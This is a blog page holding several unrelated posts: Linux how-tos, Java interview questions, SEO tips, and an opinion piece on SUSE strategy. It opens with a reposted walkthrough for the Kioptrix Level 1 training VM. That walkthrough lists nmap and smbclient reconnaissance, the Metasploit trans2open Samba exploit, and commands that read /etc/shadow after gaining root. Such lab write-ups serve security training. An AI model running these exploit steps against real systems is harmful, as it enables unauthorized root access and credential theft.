HOWTO Kioptrix Level 1

Friday, February 28, 2014

*** Do NOT attack any computer or network without authorization or you may put into jail. ***



Credit to : g0tmi1k



This is g0tmi1ks work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.



The original post at here



Links



Watch video on-line

Download video



Brief Overview



Kioptrix is another “Vulnerable-By-Design OS” (like De-ICE, Metasploitable and pWnOS), with the aim to go from "boot" to "root" by any means possible. This is the second video on it, first one here. Unlike last time, the entry method was via a samba weakness method which is a quick attack and straight to root.



Method



Scan network for hosts (nmap)

Scan target for running services (nmap)

Detect network shares (smbclient)

Exploit samba weakness, Trans2open (Metasploit)

Game Over



What do I need?



Kioptrix - Level 1 VM. Download here (Mirror: Part 1 MD5:4F08E9FD3C4C1A4D85D0E9E79FC3A44D, Part 2 MD58DB6CE65652880327B92150B08106EA)

VMware player OR workstation. Download here

nmap – (Can be found on BackTrack 4-R2). Download here

smbclient – (Can be found on BackTrack 4-R2). Download here

metasploit – (Can be found on BackTrack 4-R2). Download here



Walkthrough



A quick general nmap scan shows what hosts are on the network currently, before doing a more detailed scan on the target (192.168.0.111). By doing this, nmap shows what possible services (ports) the target has running and the version of the service and then attempts to identify the operating system (OS). The result of this are:



* OS: Linux v2.4.x (2.4.9-18)

* Samba: Samba smbd (wordgroup: MYGROUP)



The next stage was to test to make sure that samba was functioning correctly. By using smbclient, the attacker lists all services which are available on a target. The result being:



* Anonymous login

* Hostname (KIOPTRIX)

* Workgroup (MYGROUP)

* Defautl hidden admin shares (IPC$, ADMIN$)



The attacker proceeds begins by starting up metasploit and searching for a known exploit. After configuring all the settings required, the attacker launches it. Very soon afterwards the attacker has a remote shell, with "root" access to the system.



Commands



start-network

dhclient eth0

clear



nmap 192.168.0.* -n -sn -sP

nmap 192.168.0.111 -T4 -O -sV -sS #-sC -A -p- -v



#nmblookup -A 192.168.0.111 # Hostname

smbclient -L \192.168.0.111 -N # What services are available on a server

clear



msfconsole

search samba

use linux/samba/trans2open

#info

show options

set RHOST 192.168.0.111

show options

exploit

#msfcli linux/samba/trans2open RHOST=192.168.0.111 PAYLOAD=generic/shell_bind_tcp E #PAYLOAD=linux/x86/shell_bind_tcp



id

uname -a

cat /etc/shadow

cat /etc/issue




Thats all! See you.
Read More..

10 Easy Ways To Improve Google Pagerank

Thursday, February 27, 2014

10 Easy ways to improve google pagerank.
For some bloggers, google pagerank is a pride of rank, especially when it has a high ranking. even for some cases, google pagerank be a requirement to be able to follow a program that can generate dollars.
based on my experience, the easiest way to get a high ranking are:
  1. Make good content and have a strong theme and unique.
  2. Register at several social bookmarking sites like blog catalog, digg, stumbleupon and others.
  3. Make a good relationship and exchange links with colleagues of other bloggers.
  4. Diligently to comment on dofollow blogs.
  5. Conduct internal linking, any new postings have grown links to previous postings.
  6. Limit the number of links, try a maximum of only 100 links out.
  7. Promote our blog in the right way, can submits articles, press releases and other.
  8. Update at least 1 day 1 post, 1 post worst in 1 week.
  9. Blogwalking, and respect other bloggers.
This is my 10 tips to improve my blog ranking. hopefully can help.
Regard

My Bekasi Bersih Partisipasi Blogger Blogging Kontes Blog


Bookmark and Share
Read More..

Fedora 14 64 bit Install Flash Player Square 64 bit in 4 easy steps

This quick easy 4 step process makes the assumption no prior Flash Player plugins have been installed.

Open a terminal and type the following commands,

cd Downloads

wget http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_2_p3_64bit_linux_111710.tar.gz

tar -xf flashplayer10_2_p3_64bit_linux_111710.tar.gz

su -c mv libflashplayer.so /usr/lib64/mozilla/plugins

Restart Firefox and experience Flash in 64-bit.

For more details concerning Flash Player "Square" visit, http://labs.adobe.com/technologies/flashplayer10/square/

I suggest bookmarking this page and keeping an eye out for updates.


16/12/2010 - Important email received from Adam.W Fedora QA Community Monkey

I recommend not installing the 64-bit Flash plugin for several reasons.

See, https://fedoraproject.org/wiki/Common_F14_bugs#Strangely_distorted_sound_in_Flash-based_sites_and_applications_when_using_Adobe_64-bit_Flash_plugin

and the warnings at https://fedoraproject.org/wiki/Flash#64-bit_Preview_Release ,

and follow the instructions at https://fedoraproject.org/wiki/Flash#32_bit_wrapped_version to install the 32-bit version wrapped instead.

It is nice to see the fedora community (and a Red Hat employee) demonstrating an active interest in the users as well as the product.

Thank you for the email.
Read More..

Java and Enterprise Java Interview Questions

Wednesday, February 26, 2014

Here are some frequently asked Java and J2EE Interview Questions with hints. You must at least be prepared with these most popular Java and J2EE interview questions.

Multi-threading  Interview Questions
  • What language features are available to allow shared access to data in a multi-threading environment? (Hint: Synchronized block,Synchronized method,wait, notify)
  • What is the difference between synchronized method and synchronized block?
    (Hint:Block on subset of data. Smaller code segment).
  • What Java language features would you use to implement a producer (one thread) and a consumer (another thread) passing data via a stack? (Hint: wait, notify)

Java language Interview Questions
  • What Java classes are provided for date manipulation? (Hint:Calendar, Date)
  • What is the difference between String and StringBuffer? (Hint: mutable, efficient)
  • How do you ensure a class is Serializable? (Hint:Implement Serializable)
  • What is the difference between static and instance field of a class? (Hint:Per class vs. Per Object)
  • What methods do you need to implement to store a class in Hashtable or HashMap? (Hint: hashCode(), equals()) .
  • How do you exclude a field of a class from serialization? (Hint: transient)



Inheritance Interview Questions
  • What is the difference between an Interface and an abstract base class? (Hint: interface inheritance, implementation inheritance.) What about overloading? (Hint: different signature)
  • What does overriding a method mean? (Hint: Inheritance)

Java Memory Management Interview Questions
  • What is the Java heap, and what is the stack? (Hint: dynamic, program thread execution.)
    Why does garbage collection occur and when can it occur? (Hint: To recover memory, as heap gets full.)
  • If I have a circular reference of objects, but I no longer reference any of them from any executing thread, will these cause garbage collection problems? (Hint: no)

Java Exceptions Handling Interview Questions  
  • What is the difference between a runtime exception and a checked exception? (Hint: Must catch or throw checked exceptions.)
  • What is the problem or benefit of catching or throwing type “java.lang.Exception”? (Hint: Hides all subsequent exceptions.)




Web components

JSP Interview Questions
  • What is the best practice regarding the use of scriptlets in JSP pages? Why? (Hint: Avoid)How can you avoid scriptlet code? (Hint:custom tags, Java beans)
  • What do you understand by the term JSP compilation? (Hint: compiles to servlet code)
Servlets Interview Questions
  • What does Servlet API provide to store user data between requests? (Hint: HttpSession)
  • What is the difference between forwarding a request and redirecting? (Hint: redirect return to browser )
  • What object do you use to forward a request? (Hint: RequestDispatcher)
  • What do you need to be concerned about with storing data in a servlet instance fields? (Hint: Multi-threaded.)
  • What’s the requirement on data stored in HttpSession in a clustered (distributable) environment? (Hint: Serializable)
  • If I store an object in session, then change its state, is the state replicated to distributed Session? (Hint: No, only on setAttribute() call.)
    How does URL-pattern for servlet work in the web.xml? (Hint: /ddd/* or *.jsp)
  • What is a filter, and how does it work? (Hint: Before/after request, chain.)

Enterprise Java

JDBC Interview Questions
  • What form of statement would you use to include user-supplied values? (Hint: PreparedStatement)
  • Why might a preparedStatement be more efficient than a statement? (Hint: Execution plan cache.)
  • How would you prevent an SQL injection attack in JDBC? (Hint: PreparsedStatement )
  • What is the performance impact of testing against NULL in WHERE clause on Oracle? (Hint: Full table scan. )
  • List advantages and disadvantages in using stored procedures? (Hint: Pro: integration with existing dbase, reduced network trafficCon: not portable, mutliple language knowledge required )
  • What is the difference between sql.Date, sql.Time, and sql.Timestamp? (Hint: Date only, time only, date and time )
  • If you had a missing int value how do you indicate this to PreparedStatement? (Hint: setNull(pos, TYPE))
  • How can I perform multiple inserts in one database interaction? (Hint: executeBatch)Given this problem: Program reads 100,000 rows, converts to Java class in list, then converts list to XML file using reflection. Runs out of program memory. How would you fix? (Hint: Read one row at time, limit select, allocate more heap (result set = cursor) )
  • How might you model object inheritance in database tables? (Hint: Table per hierarchy, table per class, table per concrete class)
JNDI Interview Questions
  • What are typical uses for the JNDI API within an enterprise application? (Hint: Resource management, LDAP access)
  • Explain the difference between a lookup of these “java:comp/env/ejb/MyBean” and “ejb/MyBean”? (Hint: logical mapping performed for java:comp/env )
  • What is the difference between new InitialContext() from servlet or from an EJB? (Hint: Different JNDI environments initialized EJB controller by ejb-jar.xml, servlet by web.xml.)
  • What is an LDAP server used for in an enterprise environment? (Hint: authentication, authorization)
  • What is authentication, and authorization? (Hint: Confirming identity, confirming access rights )
EJB Interview Questions

  • What is meant by a coarse-grained and a fine-grained interface? (Hint: Amount of data transferred per method call)
  • What is the difference between Stateless and Stateful session beans (used?) (Hint: Stateful holds per client state )
  • What is the difference between Session bean and Entity bean (when used?) (Hint: Entity used for persistence )
    With Stateless Session bean pooling, when would a container typically take a instance from the pool and when would it return it? (Hint: for each business method )
  • What is the difference between “Required”, “Supports”, “RequiresNew” “NotSupported”, “Mandatory”, “Never”? (Hint: Needs transaction, existing OK but doesn’t need, must start new one, suspends transaction, must already be started, error if transaction)
  • What is “pass-by-reference” and “pass-by-value”, and how does it affect J2EE applications? (Hint: Reference to actual object versus copy of object. RMI pass by value.)
    What EJB patterns, best practices are you aware of? Describe at least two? (Hint: Façade, delegate, value list, DAO, value object).
  • Describe some issues/concerns you have with the J2EE specification? (Hint: Get their general opinion of J2EE)
    What do you understand by the term “offline optimistic locking” or long-lived business transaction? How might you implement this using EJB? (Hint: version number, date, field comparisons.)
  • Explain performance difference between getting a list of summary information (e.g. customer list) via finder using a BMP entity vs. Session using DAO? (Hint: BMP: n+1 database reads, n RMI calls.)

XML/XSLT Interview Questions
  • What is the difference between a DOM parser and a SAX parser? (Hint: DOM: reads entire model, SAX: event published during parsing.)
  • What is the difference between DTD and XML Schema? (Hint: level of detail, Schema is in XML.)
  • What does the JAXP API do for you? (Hint: Parser independence. )What is XSLT and how can it be used? (Hint: XML transformation. )
  • What would be the XPath to select any element called table with the class attribute of info? (Hint: Table[@class=’info’])

JMS Interview Questions
  • How can asynchronous events be managed in J2EE? (Hint: JMS)
  • How do transactions affect the onMessage() handling of a MDB? (Hint: Taking off queue. )
  • If you send a JMS message from an EJB, and transaction rollback, will message be sent? (Hint: yes)
  • How do you indicate what topic or queue MDB should react to? (Hint: deployment descriptor )
  • What is the difference between a topic and a queue? (Hint: broadcast, single)

SOAP Interview Questions
  • What is a Web service, and how does it relate to SOAP? (Hint: SOAP is the protocol.)
  • What is a common transport for SOAP messages? (Hint: HTTP )
  • What is WSDL? How would you use a WSDL file? (Hint: XML description of Web Service: interface and how to bind to it. )
  • With new J2EE SOAP support what is: JAXR, JAX-RPC, and SAAJ? (Hint: registry, rpc, attachments)
Java Security Interview Questions

  • Where can container level security be applied in J2EE application? (Hint: Web Uri’s, EJB methods)
  • How can the current user be obtained in a J2EE application (Web and Enterprise)? (Hint: getUserPrincipal, getCallerPrincipal
  • How can you perform role checks in a J2EE application (Web and enterprise)? (Hint: IsUserInRole(), IsCallerInRole() )


Design Interview Questions
  • Name some types of UML diagrams? (Hint: class, sequence, activity, use case)
  • Describe some types of relationships can you show on class diagrams? (Hint: generalization, aggregation, uses)
  • What is the difference between association, aggregation, and generalization? (Hint: Relationship, ownership, inheritance)
  • What is a sequence diagram used to display? ( Hint: Object instance interactions via operations/signals)What design patterns do you use. Describe one you have used (not singleton)? (Hint: e.g. Builder, Factory, Visitor, Chain of Command )
  • Describe the observer pattern and an example of how it would be used (Hint: e.g. event notification when model changes to view )
  • What are Use Cases? (Hint: Define interaction between actors and the system )What is your understanding of encapsulation? (Hint: Encapsulate data and behavior within class )
  • What is your understanding of polymorphism? (Hint: Class hierarchy, runtime determine instance )
Development Process Interview Questions
  • Have you heard of or used test-driven development? (Hint: e.g. XP process )
  • What development processes have you followed in the past? (Hint: Rational, XP, waterfall )
  • How do you approach capturing client requirements? (Hint: Numbered requirements, use cases )
  • What process steps would you include between the capture of requirements and when coding begins? (Hint: Architecture, Design, UML modeling, etc )
  • How would you go about solving performance issue in an application? (Hint: Set goals, establish bench, profile application, make changes one at a time )
  • What developer based testing are you familiar with (before system testing?) (Hint: Unit test discussion )
  • How might you test a business system exposed via a Web interface? (Hint: Automated script emulating browser)
  • What is your experience with iterative development? (Hint: Multiple iteration before release)

Distributed Application Interview Questions
  • Explain a typical architecture of a business system exposed via Web interface? (Hint: Explain tiers (presentation, enterprise, resource) Java technology used in each tiers, hardware distribution of Web servers, application server, database server )
  • Describe what tiers you might use in a typical large scale (> 200 concurrent users) application and the responsibilities of each tier (where would validation, presentation, business logic, persistence occur). (Hint: Another way of asking same question as above if their answer wasn’t specific enough)
  • Describe what you understand by being able to “scale” an application? How does a J2EE environment aid scaling? (Hint: Vertical and Horizontal scaling. Thread management, clustering, split tiers )
  • What are some security issues in Internet based applications? (Hint: authentication, authorization, data encryption, denial service, xss attacks, SQL injection attacks )
General Interview Questions
  • What configuration management are you familiar with? (Hint: e.g. CVS, ClearCase )
  • What issue/tracking process have you followed? (Hint: Want details on bug recording and resolution process).
  • What are some key factors to working well within a team? (Hint: Gets a view on how you would work within interviewer’s environment.)
  • What attributes do you assess when considering a new job? (what makes it a good one)? (Hint: Insight into what motivates you.)
  • What was the last computing magazine you read? Last computing book?
  • What is a regular online magazine/reference you use? (Hint: Understand how up to date you keep yourself.)

Note: You will find answers to all of the above questions in the 400+ Java/J2EE Interview Questions and Answers companion book.

Read More..

How SSL HTTPS and Certificates works in Java web applications

Tuesday, February 25, 2014

Basic knowledge of SSL, HTTPS and Certificates are must for any Java programmer, especially who is working in financial and security sensitive applications, which are accessed over internet. In this article, I am giving you an overview of these three key concept and How SSL, HTTPS and certificates work together, to provide secure communication between client and server. Security is major concern while developing web application, which is accessible using HTTP protocol. Since HTTP protocol transfer data in plain text format, its not safe for transferring sensitive information like username, password, social security number (SSN) or credit card details for online shopping. HTTP protocol, also doesn't guarantee that a website, you are communicating is the one who claims i.e. if URL redirection is enable than instead of genuine website you may be routed to malicious websites and HTTP can't prevent or alert you.
Read more »
Read More..

How to Check McAfee Antivirus Updates

Monday, February 24, 2014

For most McAfee antivirus/security versions:
Look for the M icon in your system tray. Right click the M icon, click Updates and then point to Check Now. Depending on your McAfee software version, you may see Check for updates when you right click the M icon instead of Updates> Check Now. Click Check for updates to begin searching for updates. Alternatively, you can also double-click the M icon to open the McAfee Security Center console. When in the McAfee SecurityCenter console, you will see the security and update status of your computer.
Click on Updates: Current and you will see two options viz. Check for updates and Settings appearing on the right hand side. Click the Check for updates link and the program will start looking for updates. If you want to work on other things on your computer, click the Run in background button and the McAfee SecurityCenter console will disappear. You can later on click the M icon to open the console. If done, you will see the Your programs are up to date message. Click the Done button to exit the Updates section. If prompted, restart your computer.
You can also manually update your McAfee program. The McAfee update file is called the DAT file. Open your web browser. The home page should load up immediately. Type download DAT file for McAfee (if you know your McAfee version, type that name, otherwise leave it as is) in Google or Bing search engine and hit the Enter key. You will see DAT file download results now. Click any of McAfee links and download the file. Save the file and exit the browser window.
When done, look for the file and open it. When prompted, click the Run button. Follow rest of the on-screen instructions and complete the procedure. When prompted, restart your computer. Your McAfee program will be updated by the latest updates and patches.


Article Source: http://EzineArticles.com/6991794
Read More..

What Nils Brauckmann didnt say for SUSE to grow openSUSE must shrink

In a recent press announcement (see here) the new President and General Manager of SUSE, Nils Brauckmann stated,

"By operating SUSE as a separate business unit focused on the Linux marketplace, we can accelerate our delivery of high-value Linux solutions that help organizations enhance growth, reduce costs, tame complexity and spur innovation,"

and

"Now we are sharpening our focus on making SUSE Linux Enterprise the preeminent Linux distribution across physical, virtual and cloud environments."

Makes sense, but keep reading.

"I am thrilled to lead this business and team in our pursuit of providing comprehensive Linux solutions that solve real problems for IT and the line of business. With a laser focus on making SUSE successful, we are committed to the products and services that our customers and partners rely on to run their businesses.

Moreover, we recognize and celebrate the value of the openSUSE Project and will remain a strong supporter of the openSUSE community," said Brauckmann.

"We reiterate our long-term commitment to the open source communities at the heart of our ecosystem. Our presence in these communities will help our customers benefit from the rich value of Linux, while encouraging the collaboration that has made Linux the foundation of so many computing environments today."

I have broken the last statement into 3 paragraphs to make things easier to understand.

The action taken by Attachmate so far implies they want to make SUSE a strong and successful competitor, splitting it from Novell, dropping Mono, as Nils stated they want to sharpen their focus on SUSE.

But how can SUSE be successful or maximize its revenue when its strongest competing product is openSUSE?

openSUSE is more than a community project, it is a strong and free alternative to SUSE Enterprise and for that reason those who are interpreting the last statement (I have broken into three) as saying SUSE will continue to support the openSUSE project with the same commitment as Novell could be in for a shock.

A strong supporter but not strong contributor??

Even bearing in mind the last paragraph,

"We reiterate our long-term commitment to the open source communities at the heart of our ecosystem. Our presence in these communities will help our customers benefit from the rich value of Linux, while encouraging the collaboration that has made Linux the foundation of so many computing environments today."

This does not necessarily mean or imply openSUSE, submitting code or patches related to SUSE products upstream is capable of achieving Nils community commitment. In fact when Nils was referring to the open source communities at the heart of our ecosystem, you would be foolish to think that he was referring to openSUSE.

Looking back at Novell/SUSE and their commitment to the openSUSE project, it was a bad business mistake. They effectively provided potential customers with a free alternative. How stupid is that.

They should have adopted a similar approach to RedHat / Fedora. Fedora as a product is not even capable of competing with RedHats commercial offerings. Not only was this a wise business decision but an intelligent one.

If Nils really is committed to making SUSE a success, openSUSE must be crippled or changed into a non competing product.

Despite Novells poor attempts to play down openSUSE many continue to deploy openSUSE in a business/corporate environment.

Even openSUSE Ambassador Carl Fletcher, who is also a Novell Knowledge Partner and has written articles for Linux Format Magazine is of the view that

"If it works with SLED, You can expect openSUSE to work reasonably well if not perfectly."

http://forums.opensuse.org/english/other-forums/community-fun/general-chit-chat/458515-suse-linux-enterprise-desktop-opensuse.html#post2327839

It is common knowledge within the Linux community and IT Professionals that openSUSE is a more than capable product, therefore if Nils wants the SUSE business to grow and succeed, he has to shrink openSUSE.

In its current state openSUSE is too close to SUSE Enterprise and as a result bad for revenue.

Read More..

Fedora 14 How to make Samsung Fn Brightness buttons work

Sunday, February 23, 2014

If you own a Samsung R510 the most important feature that does not work in Fedora 14 are the brightness buttons. Ubuntu users are fortunate to have a repository that enables Fn functionality, please see https://launchpad.net/~voria/+archive/ppa

I will be using files provided by this repository to enable brightness control in Fedora 14 on my Samsung R510.

Please make sure your Fedora system is fully up to date before proceeding. If you are not sure open a terminal and run the following command,

su -c yum -y update

If advised to reboot, please do.

Are you ready?

Open a terminal and type the following,

su -c yum install kernel-devel gcc

This will download some required tools. Next, edit the 95-keyboard-force-release.rules file.

su -c nano /lib/udev/rules.d/95-keyboard-force-release.rules

Look for the following line

ENV{DMI_VENDOR}=="[sS][aA][mM][sS][uU][nN][gG]*", ATTR{[dmi/id]product_name}=="*E252*|*N120*|*N128*|*N130*|*N140*|*N148/N208*|*N150*|*N150/N210/N220*|*N220*|*N308*|*N310*|*N510*|*NB30*|*NC10/N110*|*ND10*|*Q210/P210*|*R410P*|*R425/R525*|*R428/P428*|*R460*|*R463*|*R468/R418*|*R480/R431/R481*|*R509*|*R518*|*R519/R719*|*R520/R522/R620*|*R528/R728*|*R530/R730*|*R530/R730/P590*|*R560*|*R580*|*R580/R590*|*R59/R60/R61*|*R59P/R60P/R61P*|*R710*|*R720*|*R780/R778*|*SR58P*|*SR700*|*SR70S/SR71S*|*SX22S*|*X118*|*X120*|*X460*", RUN+="keyboard-force-release.sh $devpath samsung-other"

Add R510/P510 as highlighted

ENV{DMI_VENDOR}=="[sS][aA][mM][sS][uU][nN][gG]*", ATTR{[dmi/id]product_name}=="*R510/P510*|*E252*|*N120*|*N128*|*N130*|*N140*|*N148/N208*|*N150*|*N150/N210/N220*|*N220*|*N308*|*N310*|*N510*|*NB30*|*NC10/N110*|*ND10*|*Q210/P210*|*R410P*|*R425/R525*|*R428/P428*|*R460*|*R463*|*R468/R418*|*R480/R431/R481*|*R509*|*R518*|*R519/R719*|*R520/R522/R620*|*R528/R728*|*R530/R730*|*R530/R730/P590*|*R560*|*R580*|*R580/R590*|*R59/R60/R61*|*R59P/R60P/R61P*|*R710*|*R720*|*R780/R778*|*SR58P*|*SR700*|*SR70S/SR71S*|*SX22S*|*X118*|*X120*|*X460*", RUN+="keyboard-force-release.sh $devpath samsung-other"

Press Ctrl-X to exit nano, followed by Y to save the file.

Edit your kernel grub entry,

su -c nano /boot/grub/grub.conf

and add the following, acpi_backlight=vendor as illustrated below.

# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You do not have a /boot partition. This means that
# all kernel and initrd paths are relative to /, eg.
# root (hd0,0)
# kernel /boot/vmlinuz-version ro root=/dev/sda1
# initrd /boot/initrd-[generic-]version.img
#boot=/dev/sda1
default=0
timeout=5
splashimage=(hd0,0)/boot/grub/splash.xpm.gz
hiddenmenu
title Fedora (2.6.35.10-74.fc14.x86_64)
root (hd0,0)
kernel /boot/vmlinuz-2.6.35.10-74.fc14.x86_64 acpi_backlight=vendor ro root=UUID=........... rd_NO_LUKS rd_NO_LVM rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYTABLE=uk rhgb quiet
initrd /boot/initramfs-2.6.35.10-74.fc14.x86_64.img
title Fedora (2.6.35.6-45.fc14.x86_64)
root (hd0,0)
kernel /boot/vmlinuz-2.6.35.6-45.fc14.x86_64 ro root=UUID=............ rd_NO_LUKS rd_NO_LVM rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYTABLE=uk rhgb quiet
initrd /boot/initramfs-2.6.35.6-45.fc14.x86_64.img
title Other
rootnoverify (hd1,0)
chainloader +1

Press Ctrl-X to exit nano, followed by Y to save the file.

Now we are going to download and compile the kernel module responsible for making the brightness buttons work.

mkdir samsung

cd samsung

wget http://dl.dropbox.com/u/16953763/samsung-backlight.c

wget http://dl.dropbox.com/u/16953763/Makefile

make

This will compile the samsung-backlight kernel module. The next step is to copy the module to your kernel.

su -c cp samsung-backlight.ko /lib/modules/$(uname -r)/kernel/

su -c depmod -a

su -c modprobe samsung-backlight

Reboot your laptop and try out the FN brightness buttons.

Note:  You will have to rebuild / insert the samsung-backlight kernel module every time your kernel is updated.
Read More..

How to loop ArrayList in Java List Itrator Traversal Code Example

Saturday, February 22, 2014

Looping ArrayList in Java or Iteration over ArrayList is very similar to looping Map in Java. In order to loop ArrayList in Java we can use either foreach loop, simple for loop or Java Iterator from ArrayList. We have already touched iterating ArrayList in 10 Example of ArrayList in Java and we will see here in detail. We are going to see examples of all three approaches in this ArrayList tutorial and find out which one is clean and best method of looping arraylist in Java. Before start writing an example for loop in ArrayList let's think why do we need to iterate, traverse or loop an ArrayList if it’s based on index and backed by Array. If we know the index of element than we can directly get that particular element from ArrayList but if you want to print all elements of arraylist and do some operation one by one on each of them, only looping or traversing will help you.

This article is in continuation of my earlier tutorial on ArrayList e.g. How to sort ArrayList in Java on descending order and How to convert Array to ArrayList in Java. If you haven’t read them already then you may find them useful and interesting.
Read more »
Read More..